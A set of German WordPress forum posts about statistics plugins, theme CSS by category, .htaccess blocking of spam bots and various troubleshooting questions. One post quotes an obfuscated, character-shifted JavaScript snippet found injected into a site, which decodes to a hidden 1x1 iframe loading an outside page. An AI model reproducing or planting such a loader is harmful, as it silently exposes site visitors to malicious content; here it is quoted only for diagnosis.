Beiträge von cywhale

    Als Entwickler eines Statistik-Plugins muss ich Alphawolf und SuMu Recht geben - jeder Zählalgorithmus funktioniert etwas anders, es gibt keinen Standard nach dem Besucher gezählt werden können.

    Falls mit Java Javascript gemeint ist lässt sich die niedrigere Besucherzahl durch deaktiviertes Javascript bei vielen Besuchern erklären.

    Bzgl. Caching hat mir einmal im engl. Forum jemand vorgeschlagen dass das Plugin als externes Script laufen sollte und dass der Aufruf nicht per Javascript sondern mit einem Stylesheet-Link im Header erfolgen solle - gleiches Prinzip, ist aber nicht so oft deaktiviert wie JS. Hinter dem 'Stylesheet' verbirgt sich dann das Statistikscript. Keine Ahnung ob jemand das schon realisiert hat, bin selbst leider noch nicht dazu gekommen. Hätte auch den Nachteil das der wichtige Referer nicht ausgewertet werden könnte da dieser ja dynamisch beim Seitenzugriff vom Browser geschickt wird.

    SuMu hat die relevanten Punkte schon aufgezählt, um einen 'Besuch' zu erfassen wird ein Bestimmter Zeitraum oder Zeitabstand betrachtet, dieser kann je nach Programmierung variieren.
    Ein Counter kann Adminzugriffe mitzählen oder auch nicht, die Erkennung von Robotern (gut/böse) und (Pseudo-)Hackerangriffen/-scripten ist ein eigenes Thema und ist je nach System von unterschiedlicher Qualität - ein System zählt einen Harvesting-Angriff mit 1000 Zugriffen in einer Stunde als 1 Besucher, das nächste als 10 Besucher, ein drittes garnicht. Für Suchmaschinencrawler gilt ähnliches.

    Ein weiterer Unterschied ergibt sich aus der Art der beobachteten Seiten - werden WordPress-generierte 404er mitgezählt, Zugriffe auf trackback.php,...

    Der grosse Unterschied zw. den Seitenaufrufen ist allerdings (abgesehen vom Javascript-Counter) auffällig.

    Grüsse

    Hmmm mein obiger Beitrag bezieht sich auf die AUflistung der Beiträge einer Kategorie - wenn es um die Anzeige/Hervorhebung von Beiträgen einer bestimmten Kategorie innerhalb der normalen Loop geht könnte vielleicht das hier helfen: The Loop « WordPress Codex

    Wenn man z.B. einen Beitragscontainer normalerweise mit

    Code
    <div class="entry">

    öffnet könnte man Kategorie 5 so einen eigenen Look geben:

    PHP
    <div class="entry <?php if(in_category('5')) echo 'style-cat-5';?>">

    Im Fall eines Beitrags von Kategorie 5 führt das dann zu

    Code
    <div class="entry style-cat-5">

    Die Klasse style-cat-5 kann ganz normal im Stylesheet definiert werden, ebenso alle untergeordneten Elemente wie Paragraphs und Text, Links, etc...

    Man kann einerseits Kategorien ein ganz eigenes Template geben: Category Templates « WordPress Codex

    Andererseits könnte man wenn es nur ums CSS geht dieses im Kopfbereich des Templates auch einfach per Conditional Tags ( Conditional Tags « WordPress Codex ) einbinden:

    PHP
    if(is_category('5')){
        echo '<link rel="stylesheet" type="text/css" href="style-cat5...'; 
    }else{
        echo '<link rel="stylesheet" type="text/css" href="style-standard...';
    }

    Benutze BackupWordPRess jetzt auch schon einige Zeit (mit Pausen) - funktioniert wirklich gut und zuverlässig, auch der automatische Versand der Backups per Mail. Einzig die Option bestimmte Tabellen aus dem Datenbankbackup auszuschliessen fehlt mir persönlich noch - ein sehr feines Plugin.

    Wie per Mail schon gesagt möchte hier noch anmerken dass diese Query nicht aus CyStats kommt:

    Die Ursache war der Spamangriff (die 23000 Zugriffe erstreckten sich vom Anfang bis zum Ende eines Logfiles, dauerte wahrscheinlich noch länger). Da CyStats als Statistikplugin die Zugriffsdaten natürlich verarbeitet und in die Datenbank speichert entsteht dadurch natürlich eine massive Überbeanspruchung der Datenbank. Hat mich zum Nachdenken gebracht ob man für eine Statistik wirklich Robot-Zugriffe braucht - oder ob nicht nur die Daten identifizierter menschlicher Besucher ausreichen.

    Auch zwecks dem Verhindern solcher Angriffe habe ich heute Mittag schon per Mail geantwortet:

    Der Angreifer liefert einen leeren Querystring, die IP wechselt manchmal, eine IP wird aber definitiv am meisten genutzt, Server aus der Ukraine.

    Query the RIPE Database

    Man kann diese IP oder den ganzen IP-Bereich zukünftig mit .htaccess blocken, eventuell könnte man dabei auch überprüfen ob
    - der USER_AGENT leer ist
    - eine URL mit dem Ende /trackback aufgerufen wurde.

    Leider kenne ich mich mit .htaccess nicht unbedingt gut aus, daher nur die Idee und keine Copy&Paste-Lösung.

    Bisher ergoogelt (unformatiert, vom ersten Snippet habe ich leider keinen Link mehr):


    Apache Configuration
    *  # permanently redirect ranged IP request for single page 
        * RewriteEngine On 
        * RewriteBase / 
        * RewriteCond %{REMOTE_HOST} 22\.22\.22 
        * RewriteCond %{REQUEST_URI} page-with-form-on.php$ 
        * RewriteRule .* http://www.destinationwebsite.com/ [R=301,L]


    solariz.de | .htaccess Security Options

    Apache Configuration
    # # Block requests without useragent  
    # RewriteCond %{REQUEST_METHOD} =POST  
    # RewriteCond %{HTTP_USER_AGENT} ^-?$  
    # RewriteCond %{REQUEST_URI} !^/(index.php).* [NC]  
    # RewriteRule .* - [F,NS,L]


    http://www.ap4a.co.uk/archives/2007/…h-mod_rewrite/:

    Apache Configuration
    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} =""
    RewriteRule .* - [F,L]

    Hallo.
    Das ist ein in WP 2.6 neu aufgetretener Fehler der in der Datei installer.php beim initialisieren von WordPress Optionen als Array auftritt. Einen Bugfix habe ich in den Kommentaren der Pluginseite auf cywhale.de veröffentlicht, für eine neue CyStats-Version fehlt mir im Moment leider absolut die Zeit - steht quasi in den Startlöchern ist aber noch nicht ganz soweit.

    Grüsse

    Code
    <script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script><script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>


    Eine Idee was das sein soll? Letzte Zeile der aufgerufenen Seite.

    Dein wpSEO schreibt nicht in den Quellcode, Titel, Description und Keywords fehlen.
    Weiter ist die Seite einfach Weiss, im Quellcode ist alles da, zu sehen ist nichts. Würde Stück für Stück anfangen, Plugins ausschalten, testen, Theme komplett neu hochladen, testen, evtl. Providerlogfiles durchsehen, Änderungsdatum der Dateien auf dem Server durchsehen...
    Hast du vor, während oder nach der Geschichte auf 2.5.1 aktualisiert?

    Using Gravatars « WordPress Codex

    Das ist die Gravatar-Übersichtsseite von WordPress.Org, dort sind Optionen und Möglichkeiten zum Einbinden von Gravataren in Themes beschrieben. Bei Bedarf einfach nochmal melden.

    Ob die Gravatare schon 'vorgesehen' sind kannst du in der Datei comments.php' des Themes sehen, dort sollte in diesem Fall irgendwo an geeigneter Stelle 'get_avatar(...' stehen.

    Unter dem EIngabefeld für den Seitentitel kann man nach dem ersten Autosave/Speichern den Permalink ändern, d.h. Seitentitel entspricht nicht dem Permalink (falls das mit 'Navi-Link' gemeint ist).

    Wenn 'Navi-Link' der Linktext ist sollte die andere Variante funktionieren, ist etwas komplizierter, man gewöhnt sich aber daran. Habe hier bei mir komplett alle statischen Seiten so 'behandelt' - einmal gemacht und gut ist.

    Wenn das generell alle statischen Seiten betrifft könntest du in der Datei page.php des Themes die Anzeige des Titels löschen und diese dass beim Schreiben der Seite per Hand frei änderbar im Seiteninhalt (per HTML-Modus, z.B.

    Code
    <h1>Mein frei erfundener Titel</h1>
    Jetzt kommt der
    eigentliche Inhalt
    der Seite...

    , je nach Theme) einfügen. Dann wird beim Seitenaufruf das handgeschriebene angezeigt, der Navigationslink entspricht dem Text im Titelfeld der Seite wie zuvor.

    Andere Möglichkeit: Du kannst unter dem Seitentitel beim Schreiben der Seite den Permalink direkt ändern, wäre auch einen Versuch wert.

    Grüsse

    Feed 1 validiert nicht und ist in ISO... kodiert,
    Feed 2 validiert und ist UTF-8 kodiert, es gibt aber einen Hinweis das eine genauere Typspezifizierung (nicht nur 'xml' sondern etwas genauer wie 'application/rss+xml') besser wäre - vielleicht mag WordPress deshalb die Feeds nicht.

    Vielleicht ging codestylings' Hinweis ja auch in diese Richtung.

    Zitat

    ch wollte ja eben nur so ein paar stichwörter, richtungsweiser halt. wenns dann nicht hinhaut, hätt ich mich schon wieder gemeldet.


    Bitte das mit den Schlüsselwörtern nicht falsch verstehen, das sollte kein 'Benutze die Suchmaschine' sein sondern nur ein Hinweis auf die richtigen Suchbegriffe. Leider kommt so ein Satz mittlerweile durch die ganzen 'RTFM'-Typ Antworten oft falsch rüber, war definitiv nicht derart gemeint.

    Viel Glück